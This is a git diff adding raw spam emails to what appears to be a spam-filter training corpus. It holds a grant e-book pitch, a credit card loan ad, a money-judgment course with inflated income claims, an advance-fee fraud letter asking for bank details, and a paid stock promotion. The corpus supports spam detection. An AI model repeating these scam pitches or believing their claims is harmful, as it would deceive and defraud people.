-0700 +From: yyyy@pluriproj.pt +Reply-To: merchantsworld2001@juno.com +To: yyyy@pluriproj.pt +Subject: Never Repay Cash Grants, $500 - $50,000, Secret Revealed! +Date: Sun, 19 Oct 1980 10:55:16 +Mime-Version: 1.0 +Content-Type: text/html; charset="DEFAULT" + + +
+

Government Grants E-Book 2002 +edition, Just $15.95. Summer Sale, Good Until August 10, 2002! Was $49.95.

+
+
  • You Can Receive The Money You Need... + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
  • Every day millions of +dollars are given away to people, just like +you!! +
  • Your Government spends billions of tax dollars on +government grants. +
  • Do you know that private foundations, trust and +corporations are +
  • required to give away a portion of theirs assets. +It doesn't matter, +
  • where you live (USA ONLY), your employment status, +or if you are broke, retired +
  • or living on a fixed income. There may be a grant +for you! +
    +
  • ANYONE can apply +for a Grant from 18 years old and up! +
  • We will show you HOW & WHERE to get Grants. THIS BOOK IS NEWLY UPDATED WITH THE +MOST CURRENT INFORMATION!!! +
  • Grants from $500.00 to $50,000.00 are possible! +
  • GRANTS don't have to be paid back, EVER! +
  • Grants can be ideal for people who are or were +bankrupt or just have bad credit. +
    • +
    Please Visit Our +Website

    +And Place Your Order +TODAY! CLICK HERE

     

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    +

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    + + + + diff --git a/bayes/spamham/spam_2/00006.3ca1f399ccda5d897fecb8c57669a283 b/bayes/spamham/spam_2/00006.3ca1f399ccda5d897fecb8c57669a283 new file mode 100644 index 0000000..2783691 --- /dev/null +++ b/bayes/spamham/spam_2/00006.3ca1f399ccda5d897fecb8c57669a283 @@ -0,0 +1,423 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NLtshY000264 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 16:55:55 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NLtsB8000241 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 16:55:54 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NLtlhY000182 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 16:55:50 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6NLtjJ48674 + for ; Tue, 23 Jul 2002 17:55:45 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6NLtj014163 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 17:55:45 -0400 +Received: from huffmanoil.net (216-166-208-195.clec.madisonriver.net [216.166.208.195]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6NLtfR14140 + for ; Tue, 23 Jul 2002 17:55:41 -0400 +Received: from html [61.230.8.153] by huffmanoil.net + (SMTPD32-7.10) id A2E8640144; Tue, 23 Jul 2002 05:33:28 -0400 +From: 3b3fke@ms10.hinet.net +To: cpunks@waste.minder.net +Subject: ÁÙ¦b¥Î20%ªº«H¥Î¥d´`Àô¶Ü??? Time:PM 05:36:34 +Date: Fri, 23 Jul 1993 17:36:34 +Mime-Version: 1.0 +Content-Type: text/html; charset="CHINESEBIG5" +Message-Id: <20020723053323.SM01128@html> +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6O1WRhX085604 + +cpurf + + + + + + + + =09 + =09 + =09 + =09 + =09 + =09 + =09 +6 + + + + +

    + +

    =B1z=C1=D9=A6= +b=A5=CE= +20%=AA=BA=ABH=A5=CE=A5d=B6=DC =20 +!!! <= +/b>

    +

    =B9= +s=A7Q=B2v=A5N=C0v=AE=C9=A5N=A8=D3=C1{=C5o~~

    = + =20 +

     = +=A5=D8=ABe=B4`= +=C0=F4=C1`=C3B =20 + x =ABH=A5= +=CE=A5d=A7Q=B2v = + =20 + x 1/12 =3D =A1u1=AD=D3=A4=EB=A7Q=AE=A7=A1v=B6O=A5=CE

    = + =20 +

           =20 + =20 + $100,000 x =20 + <= +i>20% =20 + x 1/12=3D$1,667 =20 + =20 + =A1K=A5=A6=A6=E6=A7Q=AE=A7 =20 + =20 + =20 + =20 + =20 +

    =20 +

    $100,000 x =20 + =20 +0 % x 1/12=3D<= +b>$0=A1K=A5=BB=A6=E6=A7Q=AE=A7

    = +=B0=DF=A4@=A5u=A6=AC= +=A8=FA=A4=E2=C4=F2=B6O=AC=B0=AE=D6=AD=E3=A5N=C0v=AA=F7=C3B=A4=A7 =20 +1 %

    =20 +

    =A7Y = +   =20 +$100,000 x= + =20 + =20 +1 %=20 +=3D$1000

    =20 +

    $1667-$1000=3D$667

    = + =20 +

    =B2=C4=A4@=AD=D3=A4=EB=A7Y=A5i=C0=B0=B1z=AC=D9=A4U667=A4=B8

    =20 +

    =A5N=C0v=A4Q=B8U=A4=B8=A1A=ABe=A4Q=A4=AD=AD=D3=A4=EB=A8= +C=A4=EB=B3=CC=A7C=C0=B3=C3=BA=AC=B0$1000=A4=B8

    =20 +

    =A5t=A6=B3=B3\=A6h=C0u=B4f=B1M=AE=D7=A8=D1=B1z=BF=EF=BE=DC!!= +!

    =20 +

    =BD= +=D0=B6=F1=A7=B4=A4U=A6C=AA=ED=AE=E6=A1A=A7=DA=AD=CC=B1N=AC=B0=B1z=B1H=A4@=A5= +=F7=A7=F3=B8=D4=B2=D3=A4=A7=B8=EA=AE=C6=A4=CE=A5=D3=BD=D0=AE=D1=B5=B9=B1z= +=A1I    

    =20 +

       =20 + =A9=CE=B9q=AC=A2=B1M=AD=FB:0968-523-989   =B3=AF=A4p=A9j

    = +=20 +
    =20 +
    =20 + + + + + + + + +
    + + + + + + =20 + + + + + + =20 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    =A9m=A6W=A1G<= +/font>=A9=CA=A7O :<= +/font> =A8k&nbs= +p;         =20 + =A4= +k  
    =A6~=C4=D6=A1G   =20 + =C2=BE=B7~ :
     e-mail=A1G<= +/b>=B9q=B8=DC=A1G
    =A6a=A7}=A1G<= +/font>
    =ABH=A5=CE=A5d=C1`=B1i=BC=C6=A1G&n= +bsp; =20 +
    =A9=D2=AB=F9=ABH=A5=CE=A5d=A4=A4=C3B=AB=D7=B3= +=CC=B0=AA=AC=B0=A1G   =20 + = + =20 + =20 + =20 + =20 + =20 + =20 + =20 +
    =20 + =B1=FD=A5N=C0v=AA=F7=C3B : =C1p=B5=B8=B1z=B3=CC=A8=CE=AE=C9=B6=A1=A1G
    =ACO=A7_=B4=BF=BF=EC=B9L=A5N=C0v: = +  =20 + =A4=A3=B4=BF   = +;      =20 + =B4=BF= +=BF=EC=B9L =BB=C8=A6=E6  =20 +
    =B3=C6=B5=F9=A1G<= +/b>=20 +
    +

    = +       =20 + =20 +

    +

          = + =20 + =A5X=B2{=B6=C7=B0e=A7=B9=A6=A8=A1A=A7Y=AA=ED=A5=DC=A6=A8=A5\=B1H=A5X=C5o!= +!

    +
    +
    =20 +
    =20 + =20 +

    =A1@

    + =20 + =20 + =20 + =20 +

    =20 + =20 + =20 + =20 + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00007.acefeee792b5298f8fee175f9f65c453 b/bayes/spamham/spam_2/00007.acefeee792b5298f8fee175f9f65c453 new file mode 100644 index 0000000..76e8e4e --- /dev/null +++ b/bayes/spamham/spam_2/00007.acefeee792b5298f8fee175f9f65c453 @@ -0,0 +1,71 @@ +From sales@outsrc-em.com Mon Jun 24 17:53:15 2002 +Return-Path: sales@outsrc-em.com +Delivery-Date: Thu Jun 20 20:08:33 2002 +Received: from outsrc-em.com ([166.70.149.104]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g5KJ8WI08701 for ; + Thu, 20 Jun 2002 20:08:32 +0100 +Message-Id: <200206201908.g5KJ8WI08701@dogma.slashnull.org> +From: "Outsource Sales" +To: "yyyy@spamassassin.taint.org" +Subject: New Product Announcement +Sender: "Outsource Sales" +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-1" +Date: Fri, 3 Jan 1997 17:24:47 -0700 +Reply-To: "Outsource Sales" +Content-Transfer-Encoding: 8bit +X-Keywords: + +NEW PRODUCT ANNOUNCEMENT + +From: OUTSOURCE ENG.& MFG. INC. + + +Sir/Madam; + +This note is to inform you of new watchdog board technology for maintaining +continuous unattended operation of PC/Servers etc. that we have released for +distribution. + +We are proud to announce Watchdog Control Center featuring MAM (Multiple +Applications Monitor) capability. +The key feature of this application enables you to monitor as many +applications as you +have resident on any computer as well as the operating system for +continuous unattended operation. The Watchdog Control Center featuring +MAM capability expands third party application "control" of a Watchdog as +access to the application's +source code is no longer needed. + +Here is how it all works: +Upon installation of the application and Watchdog, the user may select +many configuration options, based on their model of Watchdog, to fit their +operational needs. If the MAM feature is enabled, the user may select any +executable program that they wish for monitoring. + +A lock up of the operating system or if any one of the selected +applications is not running, the MAM feature, in +conjunction with the Watchdog, will reset the system allowing for +continuous operation. + +It's that simple! + +Watchdog Control Center is supported on most Microsoft Windows platforms +(Win9x/WinNT/Win2k) and includes a Linux version for PCI Programmable +Watchdogs. + +Watchdog Control Center Features: +- Automated installation +- Controls all Outsource Engineering Watchdogs +- User selectable Watchdog timeout period +- User selectable Watchdog stroke interval +- Multiple Application Monitoring + +Included on the Installation CD: +- Watchdog Control Center +- Watchdog Drivers +- Documentation + +For more information, please visit out website at +http://www.outsrc-em.com/ or send an e-mail to sales@outsrc-em.com + diff --git a/bayes/spamham/spam_2/00008.ccf927a6aec028f5472ca7b9db9eee20 b/bayes/spamham/spam_2/00008.ccf927a6aec028f5472ca7b9db9eee20 new file mode 100644 index 0000000..addf463 --- /dev/null +++ b/bayes/spamham/spam_2/00008.ccf927a6aec028f5472ca7b9db9eee20 @@ -0,0 +1,321 @@ +From ormlh@imail.ru Sun Jul 15 04:56:31 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from cccp.co.kr (unknown [211.218.149.105]) by + mail.netnoteinc.com (Postfix) with SMTP id 789D51140BA for + ; Sun, 15 Jul 2001 03:56:28 +0000 (Eire) +Received: from imail.ru [210.14.5.95] by cccp.co.kr running [nMail 1.04 + (Windows NT/2000) SMTP Server]; Wed, 11 Jul 2001 02:41:35 +0900 +Message-Id: <00000e0836ec$00006b26$0000082f@imail.ru> +To: <67@163.net> +From: ormlh@imail.ru +Subject: FW: +Date: Fri, 02 Jan 1998 04:30:44 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) + + + + + + + + Thank you for your interest! + + +
    +
    +Judgment Courses offers an extensive Audio training
    +course in     + "How to Collect Money Judgments" + . + + S6 + +
    +
    +If you are like many people, you are not even sure what a
    +Money Judgment is and     + why processing Money Judgments
    +can earn you very substantial income     + .
    +
    +If you ever sue a company or a person and you win then you
    +will have a Money Judgment against them.
    +
    +You are happy you won but you will soon find out the
    +shocking fact: "Its now up to you to collect on the
    +Judgment". The court does not require the loser to pay you.
    +The court will not even help you. You must trace the loser
    +down, find their assets, their employment, bank accounts,
    +real estate, stocks and bonds, etc.
    +
    +Very few people know how to find these assets or what to do
    +when they are found. The result is that millions of
    +Judgments are just sitting in files and being forgotten.
    +
    +"In 79% of the cases the winner of a Judgment never sees a
    +dime."
    +
    +The non-payment of judicial debt has grown to epidemic
    +proportions. Right now in the United States there is
    +between     + 200 and 300 billion dollars of uncollected Money<= +BR> +Judgment debt + . For every Judgment that is paid, 5 more
    +Judgments take its place.
    +
    +We identified this massive market 8 years ago and have
    +actively pursued Judicial Judgments since. We invented this
    +business. We have perfected it into a well proven and solid
    +profession in which only a select few will be trained in the
    +techniques necessary to succeed.
    +
    +With our first hand experience we have built a course which
    +teaches you how to start your business in this new unknown
    +and exciting field of processing Money Judgments.
    +
    +By following the steps laid out in our course and with
    +reasonable effort you can become very successful in the
    +processing of Money Judgments.
    +
    +The income potential is substantial in this profession.     + We
    +have associates who have taken our course and are now
    +working full time making $96,000.00 to over $200,000.00 per
    +year. Part time associates are earning between $24,000.00
    +and $100,000.00 per year     + . Some choose to operate out of
    +their home and work by themselves. Others build a sizable
    +organization of 15 to 25 people in attractive business
    +offices.
    +
    +Today our company and our associates have over 126
    +million dollars in Money Judgments that we are currently
    +processing. Of this 126 million, 25 million is in the form
    +of joint ventures between our firm and our associates.
    +Joint ventures are where we make our money. We only break
    +even when our course is purchased. We make a 12% margin on
    +the reports we supply to our associates. Our reporting
    +capability is so extensive that government agencies, police
    +officers, attorneys, credit agencies etc., all come to us
    +for reports.
    +
    +
    +Many of our associates already have real estate liens in
    +force of between 5 million to over 15 million dollars.
    +Legally this means that when the properties are sold or
    +refinanced our associate must be paid off. The norm is 10%
    +interest compounded annually on unpaid Money Judgments.
    +Annual interest on 5 million at 10% translates to
    +$500,000.00 annually in interest income, not counting the
    +payment of the principal.
    +
    +Our associates earn half of this amount or $250,000.00 per
    +year. This is just for interest, not counting principle
    +and not counting the compounding of the interest which can
    +add substantial additional income. Typically companies are
    +sold for 10 times earnings. Just based on simple interest
    +an associate with 5 million in real estate liens could sell
    +their business for approximately 2.5 million dollars.
    +
    +     + 92% of all of our associates work out of their ho= +me; 43%
    +are women and 36% are part time     + .
    +
    +One of the benefits of working in this field is that you are
    +not under any kind of time frame. If you decide to take off
    +for a month on vacation then go. The Judgments you are
    +working on will be there when you return. The Judgments
    +are still in force, they do not disappear.
    +
    +The way we train you is non-confrontational. You use your
    +computer and telephone to do most of the processing. You
    +never confront the debtor. The debtor doesn't know who you
    +are. You are not a collection agency.
    +
    +Simply stated the steps to successful Money Processing
    +are as follows:
    +
    +Mail our recommended letter to companies and individuals
    +with Money Judgments. (We train you how to find out who
    +to write to)
    +
    +8% to 11% of the firms and people you write will call you
    +and ask for your help. They call you, you don't call them
    +unless you want to.
    +
    +You send them an agreement (supplied in the course) to
    +sign which splits every dollar you collect 50% to you and
    +50% to them. This applies no matter if the judgment is for
    +$2,000.00 or $2,000,000.00.
    +
    +You then go on-line to our computers to find the debtor
    +and their assets. We offer over 120 powerful reports to
    +assist you. They range from credit reports from all three
    +credit bureaus, to bank account locates, employment
    +locates, skip traces and locating stocks and bonds, etc.
    +The prices of our reports are very low. Typically 1/2 to
    +1/3 of what other firms charge. For example we charge
    +$6.00 for an individuals credit report when some other
    +companies charge $25.00.
    +
    +Once you find the debtor and their assets you file
    +garnishments and liens on the assets you have located.
    +(Standard fill in the blanks forms are included in the
    +course)
    +
    +When you receive the assets you keep 50% and send 50% to
    +the original Judgment holder.
    +
    +Once the Judgment is fully paid you mail a Satisfaction of
    +Judgment to the court. (Included in the course)
    +
    +Quote's from several of our students:
    +
    +Thomas in area code 516 writes us: "I just wanted to drop
    +you a short note thanking you for your excellent course.     + My
    +first week, part time, will net me 3,700.00 dollars     + . Your
    +professionalism in both the manual and the video opened
    +doors for me in the future. There's no stopping me now.
    +Recently Thomas states he has over $8,500,000 worth of
    +judgments he is working on.
    +
    +After only having this course for four months, Larry S. in
    +area code 314 stated to us: "     + I am now making $2,000.00 per
    +week     + and expect this to grow to twice this amount with= +in the
    +next year. I am having a ball. I have over $250,000 in
    +judgments I am collecting on now."
    +
    +After having our course for 7 months Larry S. in 314 stated
    +"     + I am now making $12,000.00 + per month and have approximately
    +$500,000.00 in judgments I am collecting on. Looks like I
    +will have to hire someone to help out"
    +
    +Marshal in area code 407 states to us "I feel bad, you only
    +charged me $259.00 for this course and it is a goldmine. I
    +have added 3 full time people to help me after only having
    +your course for 5 months"
    +
    +>From the above information and actual results you can see
    +why we can state the following:
    +
    +With our course you can own your own successful business.
    +A business which earns you substantial income now and one
    +which could be sold in 3-5 years, paying you enough to
    +retire on and travel the world. A business which is
    +extremely interesting to be in. A Business in which every
    +day is new and exciting.
    +
    +None of your days will be hum-drum. Your brain is
    +Challenged. A business, which protects you from Corporate
    +Downsizing. A business which you can start part time from
    +your home and later, if you so desire, you can work in full
    +time. A business, which is your ticket to freedom from
    +others telling you what to do. A business, which lets you
    +control your own destiny. Our training has made this happen
    +for many others already. Make it happen for you!
    +
    +If the above sounds interesting to you then its time for you
    +to talk to a real live human being, no cost or obligation
    +on your part.
    +
    +     + Please call us at 1_406_652_0194 + .
    +
    +We have     + Customer Support staff available to you from 8:00= +am to
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    +T h i s message i s produced a n d sent out by:
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    +     + + + + diff --git a/bayes/spamham/spam_2/00009.1e1a8cb4b57532ab38aa23287523659d b/bayes/spamham/spam_2/00009.1e1a8cb4b57532ab38aa23287523659d new file mode 100644 index 0000000..163bde8 --- /dev/null +++ b/bayes/spamham/spam_2/00009.1e1a8cb4b57532ab38aa23287523659d @@ -0,0 +1,142 @@ +From spamassassin-sightings-admin@lists.sourceforge.net Tue Jul 2 13:04:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id BB16E14F914 + for ; Tue, 2 Jul 2002 12:56:51 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 02 Jul 2002 12:56:51 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g61Iat611966 for ; Mon, 1 Jul 2002 19:36:56 + +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17P62B-0000rw-00; Mon, + 01 Jul 2002 11:36:23 -0700 +Received: from [64.86.155.148] (helo=ok61655.com) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17P60P-0006ds-00 for ; + Mon, 01 Jul 2002 11:34:34 -0700 +From: "MR.DOUGLAS AND PRINCESS M." +Reply-To: princessmar001@yahoo.com +To: spamassassin-sightings@example.sourceforge.net +X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM +MIME-Version: 1.0 +Message-Id: +Subject: [SA] URGENT HELP.............. +Sender: spamassassin-sightings-admin@example.sourceforge.net +Errors-To: spamassassin-sightings-admin@example.sourceforge.net +X-Beenthere: spamassassin-sightings@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 5 Apr 1999 20:38:02 +0100 +Date: Mon, 5 Apr 1999 20:38:02 +0100 +Content-Type: multipart/mixed; boundary="===_SecAtt_000_1fnapngoonxcrm" + +--===_SecAtt_000_1fnapngoonxcrm +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: quoted-printable + + +DEAR SIR=2C +URGENT AND CONFIDENTIAL=3A + +Re=3ATransfer of $50=2C000=2E000=2E00 USD=5BFIFTY MILLION UNITED +STATES DOLLARS=5D=2E + +WE WANT TO TRANSFER TO OVERSEAS=5B$50=2C000=2E000=2E00=5BFIFTY +MILLION UNITED STATES DOLLARS=5DFROM A SECURITY COMPANY +IN SPAIN=2CI WANT TO ASK YOU TO QUIETLY LOOK FOR A +RELIABLE AND HONEST PERSON WHO WILL BE CAPABLE AND FIT +TO PROVIDE EITHER AN EXISTING BANK ACCOUNT OR TO SET +UP A NEW BANK ACCOUNT IMMEDIATELY TO RECEIVE THIS +MONEY=2CEVEN AN EMPTY ACCOUNT CAN SERVE TO RECEIVE THIS +MONEY=2CAS LONG AS YOU WILL REMAIN HONEST TO ME TILL THE +END OF THIS IMPORTANT BUSINESS TRANSACTION=2EI WANT TO +BELIEVE THAT YOU WILL NEVER LET ME DOWN EITHER NOW OR +IN FUTURE=2E + +I AM DOUGLAS SMITH=2CTHE AUDITOR GENERAL OF MAGNUM TRUST +INC=2E MADRID SPAIN DURING THE COURSE OF OUR AUDITING=2CI DISCOVERED A +FLOATING FUND IN AN ACCOUNT OPENED IN THE SECURITY +COMPANY IN 1990 AND SINCE 1993 NOBODY HAS OPERATED ON +THIS ACCOUNT AGAIN=2C AFTER GOING THROUGH SOME OLD FILES +IN THE RECORDS I DISCOVERED THAT THE OWNER OF THE +ACCOUNT DIED WITHOUT A HEIR HENCE THE MONEY IS +FLOATING AND IF I DO NOT REMIT THIS MONEY OUT +URGENTLY=2CIT WILL BE FORFEITED FOR NOTHING=2E + +THE OWNER OF THIS ACCOUNT WAS =22MR=2EALLAN P=2E SEAMAN=22=2CA FOREIGNER AND AN INDUSTRIALIST=2CAND HE DIED SINCE 1993 AND NO OTHER PERSON KNOWS ABOUT THIS ACCOUNT OR ANYTHING CONCERNING IT=2CTHE ACCOUNT HAS NO BENEFICIARY AND MY INVESTIGATION PROVED TO ME AS WELL THAT ALLAN=2EP SEAMAN UNTILL HIS DEATH WAS THE MANAGER DIAMOND SAFARI=5BPTY=5DS=2EA=2E + +WE WILL START THE FIRST TRANSFER WITH $20 MILLION +DOLLARS=5BTWENTY MILLION DOLLARS=5DUPON SUCCESSFUL +TRANSFER WITHOUT ANY DISAPPOINTMENT FROM YOUR SIDE=2CWE +SHALL RE-APPLY FOR THE TRANSFER OF THE REMAINING $30 +MILLION USA DOLLARS=5BTHIRTY MILLION UNITED STATES +DOLLARS=5DINTO YOUR ACCOUNT BRINGING THE SUM TOTAL TO +$50=2C000=2E000=2E00=5BFIFTY MILLION DOLLARS=5D=2E + +I AM CONTACTING YOU AS A FOREIGNER BECAUSE THIS MONEY +CAN ONLY BE APPROVED TO A FOREIGNER WITH VALID +INTERNATIONAL PASSPORT=2CDRIVERS LICENCE AND FOREIGN +ACCOUNT BECAUSE THE MONEY IS IN USA DOLLARS AND THE +FORMER OWNER OF THE ACCOUNT=22MR=2EALLAN P=2ESEAMAN IS A +FOREIGNER=2EI WILL LIKE US TO MEET FACE TO FACE TO SIGN +A BINDING AGREEMENT THAT WILL BIND US TOGETHER IN THE +BUSINESS=2CI AM REVEALING ALL THESE TO YOU WITH THE +BELIEF THAT YOU WILL NEVER LET ME DOWN IN THIS +BUSINESS=2CYOU ARE THE FIRST AND ONLY PERSON I AM +CONTACTING FOR THE BUSINESS=2CSO PLEASE REPLY URGENTLY +FOR ME TO TELL YOU THE NEXT STEP TO TAKE=2EYOU SHOULD +FORWARD YOUR TELEPHONE AND FAX NUMBERS AND YOUR BANK +ACCOUNT DETAILS THAT WILL BE USED IN TRANSFERING THE +MONEY=2E + +YOU WILL HAVE TO GIVE ME THE ASSURANCE WHEN WE +MEET THAT THIS MONEY WILL BE INTACT PENDING OUR +PHYSICAL ARRIVAL IN YOUR COUNTRY FOR SHARING AND +DISBURSEMENT OF THE FUND WHICH WILL BE 35% FOR YOUR +ASSISTANCE=2C60% WILL BE FOR US WHILE 5% WILL BE SET +ASIDE TO TAKE CARE OF ALL THE EXPENSES THAT WILL BE +INCURRED BY BOTH PARTIES DURING THE COURSE OF THE +TRANSFER=2E + +I LOOK FORWARD TO YOUR EARLIEST RESPONSE=2CALL +CORRESPONDENCE FOR NOW SHOULD BE EMAIL FOR SECURITY +REASONS=2E + +BEST REGARDS=2E + +DOUGLAS SMITH =28PLEASE CONTACT ME THROUGH MY WIFE EMAIL=28princessmar001=40yahoo=2Ecom=29FOR CONFIDENCAIL + + + +--===_SecAtt_000_1fnapngoonxcrm +Content-Type: application/octet-stream; name="aaaaaaa.txt" +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; filename="aaaaaaa.txt" + + +--===_SecAtt_000_1fnapngoonxcrm + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + diff --git a/bayes/spamham/spam_2/00010.2558d935f6439cb40d3acb8b8569aa9b b/bayes/spamham/spam_2/00010.2558d935f6439cb40d3acb8b8569aa9b new file mode 100644 index 0000000..122740b --- /dev/null +++ b/bayes/spamham/spam_2/00010.2558d935f6439cb40d3acb8b8569aa9b @@ -0,0 +1,82 @@ +From fork-admin@xent.com Thu Aug 8 14:37:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C8B9944203 + for ; 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We have the answer. Texas-based +CommunicateNow.com, Inc. (OTC BB trading symbol: CMNW) may unlock +China's amazing potential. + +INVESTOR'S TIMING OPPORTUNITY + +Texas-based CommunicationsNow.com Inc. (OTCBB trading symbol: CMNW) +announces today that a top representative from CMNW will be traveling to +China in an attempt to negotiate with one of China's top manufacturers of +high pressure laminate products for CMNW to act as a worldwide distributor +of its products. You know what the Chinese did to the global steel market: +they captured it! China is now set to conquer another major commodity, and +you can profit right along with them. This is just one example of how CMNW +may make company history. + +Opening China's Door + +Using hard-won experience gained in the survivor-takes-all US Internet market, +CMNW developed technology that makes it possible for China's millions of +entrepreneurs, small and medium sized companies, and major corporations to +do business worldwide via the Internet. Chinese makers of porcelain, for +example, can deal direct with US consumers and retailers. Say "goodbye" to +the layers of middlemen. + +CMNW strives to become a World Wide Wholesaler + +CMNW is attempting to become an International wholesaler to the world. This +is an enormous goal. Many believe that trade with China built the world's greatest +fortunes, from the golden age of Venice to the British Empire. Now this potential +is being transferred to the Internet, and CMNW will attempt to capture it. + +CMNW puts all this into your portfolio: stability of a US-based company... +sky-rocketing China market...convenience of a US-listed stock...dynamics of +a growth company. + +*** For the latest quarterly report on CMNW, go to www.freeedgar.com *** + +Obviously, you cannot go back in time to the year 1901 and invest in baby US +companies like Coca-Cola and Johnson & Johnson as they were getting started. +But you can grab the modern day equivalent. That's right. The growth +potential in China at this very minute is like the United States at the start +of the 20th century -- perhaps even greater. + +There's much more to the CMNW story. Including a major expansion into Mexico. + +To SUBSCRIBE to the future communications, please click on this link and hit send: +mailto:abc111@uole.com.ve?subject=INFO-CMNW + +================================================================= +Please double click on the below link to be excluded from further communication. +mailto:def222@uole.com.ve?subject=delete-CMNW +================================================================= + +DISCLAIMER: Network Media Services provides an e-mail delivery service on behalf of securities +issuers and publishers that circulate information about a company or the company’s securities. +Network Media Services has received twenty thousand shares of the common stock of +CommunicateNow.com, Inc.as payment to circulate this report via electronic mail to e-mail +addresses contained in Network Media Services database. To read entire disclaimer please +click here: http://members.tripod.de/mani20/index1.html/ + + + + diff --git a/bayes/spamham/spam_2/00014.13574737e55e51fe6737a475b88b5052 b/bayes/spamham/spam_2/00014.13574737e55e51fe6737a475b88b5052 new file mode 100644 index 0000000..8b8d817 --- /dev/null +++ b/bayes/spamham/spam_2/00014.13574737e55e51fe6737a475b88b5052 @@ -0,0 +1,64 @@ +From kamar@meishi.co.jp Mon Jun 24 17:52:30 2002 +Return-Path: kamar@meishi.co.jp +Delivery-Date: Wed Jun 19 09:30:41 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5J8Ufk30582 for + ; Wed, 19 Jun 2002 09:30:41 +0100 +Received: from viefep15-int.chello.at (viefep15-int.chello.at + [213.46.255.19]) by mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP + id g5J8Udm03038; Wed, 19 Jun 2002 09:30:40 +0100 +Received: from crystania.com ([62.178.219.174]) by viefep15-int.chello.at + (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with SMTP id + <20020619083031.JYZS1259.viefep15-int.chello.at@crystania.com>; + Wed, 19 Jun 2002 10:30:31 +0200 +Message-Id: <000046020322$000000bd$000062f8@meishi.co.jp> +To: +From: kamar@meishi.co.jp +Subject: Spectrum Invites You With Open Arms 25336 +Date: Tue, 13 Feb 2001 02:49:27 -0500 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2615.200 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 +X-Keywords: +Content-Transfer-Encoding: 7bit + +Unbelievable Prices On Cell Phones And Accessories: + +http://www.chinaniconline.com/sales/ + +Hands Free Ear Buds 1.99! +Phone Holsters 1.98! +Phone Cases 1.98! +Car Chargers 1.98! +Face Plates As Low As 2.98! +Lithium Ion Batteries As Low As 6.94! + +http://www.chinaniconline.com/sales/ + +Click Below For Accessories On All NOKIA, MOTOROLA LG, NEXTEL, +SAMSUNG, QUALCOMM, ERICSSON, AUDIOVOX PHONES At Below +WHOLESALE PRICES! + +http://www.chinaniconline.com/sales/ + +***NEW*** Now Also: Accessories For PALM III, PALM VII, +PALM IIIc, PALM V, PALM M100 & M105, HANDSPRING VISOR, COMPAQ iPAQ*** + +Car Chargers 6.95! +Leather Cases 13.98! +USB Chargers 